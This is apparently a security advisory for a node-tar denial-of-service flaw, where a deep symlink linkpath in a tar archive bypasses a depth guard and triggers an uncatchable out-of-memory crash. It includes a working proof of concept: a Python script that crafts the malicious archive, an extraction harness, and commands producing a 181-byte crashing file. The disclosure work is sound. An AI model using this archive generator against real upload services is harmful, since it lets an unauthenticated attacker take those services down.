# GHSA-XM6H-2993-3CH9: node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-11-28
- Modified: 2026-12-01

## Tracked as

- [CVE-2026-140230](https://cve.now/CVE-2026-140230.md): node-tar denial of service via heap exhaustion in PathReservations

## Affected versions

- tar (npm): fixed in 8.0.0, through 7.5.22

## Description

### Summary

node-tar's PathReservations.getDirs() materializes every parent-directory prefix of a given path as individual strings — an O(N²) operation. The existing maxDepth guard applies only to entry.path, not to entry.linkpath. A crafted archive with a shallow entry.path and a deeply-nested linkpath bypasses the guard entirely, forcing a catastrophic heap allocation. The resulting V8 OOM is uncatchable — try/catch, Promise .catch(), and process.on('uncaughtException') all fail to intercept it. A 181-byte gzip archive is sufficient to instantly kill any Node.js process attempting extraction.

### Details

ROOT CAUSE

node-tar enforces a maxDepth=1024 segment cap on entry.path via its CHECKPATH routine. This guard is entirely absent for entry.linkpath — the target path of a symlink entry. PathReservations.reserve() unconditionally pushes entry.linkpath into its path list without any depth validation.

getDirs() then materializes every parent-directory prefix of that path as individual JavaScript strings. For a linkpath with N segments this produces N strings of average length N/2, totaling O(N²) memory. A linkpath with 10000 segments causes instant catastrophic heap exhaustion.

The GNU K (LongLink) extended-header mechanism allows a linkpath up to 1 MiB, roughly 524000 segments, which theoretically yields a ~275 GB memory allocation target.

AFFECTED CODE

src/path-reservations.ts — getDirs() function
src/path-reservations.ts — reserve() function (no depth check before pushing linkpath)
The CHECKPATH routine in extract handling — only validates entry.path, not entry.linkpath

ATTACK VECTOR

1. Craft a tar archive with a GNU K LongLink record that sets linkpath to N segments deep (a/a/a/.../x)
2. Keep entry.path shallow (e.g. "ln") so the maxDepth guard passes
3. Compress with gzip — 10000-segment archive compresses to 181 bytes
4. Send to any service accepting .tar or .tar.gz uploads

THE UNCATCHABLE FAILURE MODE

The OOM occurs during PathReservations processing, before any filesystem syscall. V8 heap exhaustion at this stage cannot be intercepted by any JavaScript error handler. The process aborts with FATAL ERROR: Reached heap limit Allocation failed — JavaScript heap out of memory. No graceful recovery is possible.

VERIFIED RESULTS (Termux, Node.js v24.18.0, tar 7.5.22)

N=2000: 114MB heap, extracts normally
N=5000 (12KB archive): 673MB heap, 3.9 seconds, ~55000x memory amplification
N=10000 (22KB archive): instant fatal OOM, process aborted
181-byte kill.tar.gz: identical fatal OOM, process aborted

Terminal output from N=5000 run:
{"outcome":"rejected","ms":6372.3,"rssMB":795.3,"heapMB":673.5,"error":"ENOENT: Cannot cd into out1"}

DISTINCTION FROM PRIOR CVEs

CVE-2026-73566 (mapHas recursion): required the files option, exploited stack overflow in mapHas. This finding requires no options, targets getDirs, exploits heap exhaustion.
CVE-2026-23950 (Unicode race): entirely different class.
CVE-2026-59873 (Gzip Bomb): CWE-770, output size consumes disk. This finding exploits linkpath depth consuming heap memory during validation. A decompression output cap would not mitigate this.

SUGGESTED FIX

Extend the existing maxDepth check to cover entry.linkpath in the CHECKPATH routine. Additionally, PathReservations.reserve() should reject any path with an excessive segment count before it enters getDirs().

### Proof of concept

SETUP

mkdir node-tar-poc && cd node-tar-poc
npm init -y && npm install tar@7.5.22


STEP 1 — Save craft-deep-linkpath.py

import sys

BLOCK = 512

def ustar(name, typeflag, size, linkname=b''):
    h = bytearray(BLOCK)
    h[0:len(name)] = name
    h[100:108] = b'0000777\x00'
    h[124:136] = ('%011o' % size).encode() + b'\x00'
    h[136:148] = b'00000000000\x00'
    h[148:156] = b'        '
    h[156:157] = typeflag
    h[157:157+len(linkname)] = linkname
    h[257:263] = b'ustar\x00'
    h[263:265] = b'00'
    chksum = sum(h)
    h[148:156] = ('%06o' % chksum).encode() + b'\x00 '
    return bytes(h)

def pad(data):
    if len(data) % BLOCK == 0:
        return data
    return data + b'\x00' * (BLOCK - (len(data) % BLOCK))

segments, out = int(sys.argv[1]), sys.argv[2]
deep_link = (b'a/' * segments) + b'x'
k_header = ustar(b'././@LongLink', b'K', len(deep_link))
with open(out, 'wb') as fp:
    fp.write(k_header)
    fp.write(pad(deep_link))
    fp.write(ustar(b'ln', b'2', 0, linkname=b'PLACE'))
    fp.write(b'\x00' * (BLOCK * 2))
print('wrote', out)


STEP 2 — Save extract.js

const tar = require('tar')
const file = process.argv[2]
const cwd = process.argv[3]
const t0 = process.hrtime.bigint()

function report(outcome, extra) {
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(JSON.stringify({ outcome, ms: +ms.toFixed(1),
    rssMB: +(process.memoryUsage().rss/1048576).toFixed(1),
    heapMB: +(process.memoryUsage().heapUsed/1048576).toFixed(1), ...extra }))
}

tar.x({ file, cwd }).then(
  () => { report('ok'); process.exit(0) },
  er => { report('rejected', { error: String(er && er.message).slice(0,80) }); process.exit(0) }
)

process.on('uncaughtException', er => {
  report('uncaughtException', { error: String(er && er.message).slice(0,80) })
  process.exit(1)
})


STEP 3 — Generate archives and run

python3 craft-deep-linkpath.py 5000 sub.tar
python3 craft-deep-linkpath.py 10000 kill.tar
gzip -k -9 kill.tar

Demo 1 — amplification (safe, shows O(N2) memory growth):
node extract.js sub.tar out1

Demo 2 — fatal OOM:
node --max-old-space-size=256 extract.js kill.tar out2

Demo 3 — 181-byte gzip kill:
node --max-old-space-size=256 extract.js kill.tar.gz out3


EXPECTED OUTPUT

Demo 1: {"outcome":"rejected","rssMB":795,"heapMB":673,"error":"ENOENT..."}
Demo 2: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory — Aborted
Demo 3: identical fatal abort from 181-byte file

### Impact

Remote unauthenticated denial of service against any Node.js service accepting .tar or .tar.gz uploads. A 181-byte crafted file kills the entire process with no possibility of graceful recovery — try/catch, Promise rejection handlers, and uncaughtException all fail to intercept the V8 heap exhaustion. node-tar is the extraction engine behind npm install, making the affected surface extremely broad.

## References

- https://github.com/isaacs/node-tar/security/advisories/GHSA-xm6h-2993-3ch9

Page: https://cve.now/GHSA-XM6H-2993-3CH9

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
